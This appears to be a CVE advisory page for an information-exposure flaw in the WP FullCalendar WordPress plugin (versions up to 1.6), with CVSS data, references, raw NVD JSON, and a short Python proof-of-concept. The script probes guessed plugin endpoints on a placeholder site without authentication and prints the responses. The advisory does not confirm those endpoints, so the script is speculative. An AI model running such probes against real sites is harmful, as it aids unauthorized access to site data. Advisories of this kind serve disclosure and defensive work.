CVE-2026-24523

Description

Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in Marcus (aka @msykes) WP FullCalendar wp-fullcalendar allows Retrieve Embedded Sensitive Data.This issue affects WP FullCalendar: from n/a through <= 1.6.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP FullCalendar <= 1.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-24523 PoC - WP FullCalendar Sensitive Data Exposure
# Target: WordPress site with WP FullCalendar plugin <= 1.6

target_url = "http://target-wordpress-site.com"

# Try to access calendar data without authentication
endpoints = [
    "/wp-json/wp-fullcalendar/v1/events",
    "/wp-json/wp-fullcalendar/events",
    "/?rest_route=/wp-fullcalendar/v1/events",
    "/wp-admin/admin-ajax.php?action=get_calendar_events"
]

for endpoint in endpoints:
    url = f"{target_url}{endpoint}"
    try:
        response = requests.get(url, timeout=10)
        if response.status_code == 200:
            print(f"[+] Potential vulnerable endpoint found: {url}")
            print(f"[+] Response preview: {response.text[:500]}")
    except requests.RequestException as e:
        print(f"[-] Error accessing {url}: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24523
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24523
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24523/
[4] VulDB https://vuldb.com/cve/CVE-2026-24523
[5] https://patchstack.com/database/Wordpress/Plugin/wp-fullcalendar/vulnerability/wordpress-wp-fullcalendar-plugin-1-6-sensitive-data-exposure-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24523", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:08.047", "lastModified": "2026-04-28T15:16:10.037", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in Marcus (aka @msykes) WP FullCalendar wp-fullcalendar allows Retrieve Embedded Sensitive Data.This issue affects WP FullCalendar: from n/a through <= 1.6."}, {"lang": "es", "value": "Exposición de Información Sensible del Sistema a una Esfera de Control No Autorizada en Marcus (también conocido como @msykes) WP FullCalendar wp-fullcalendar permite Recuperar Datos Sensibles Incrustados. Este problema afecta a WP FullCalendar: desde n/a hasta <= 1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-fullcalendar/vulnerability/wordpress-wp-fullcalendar-plugin-1-6-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}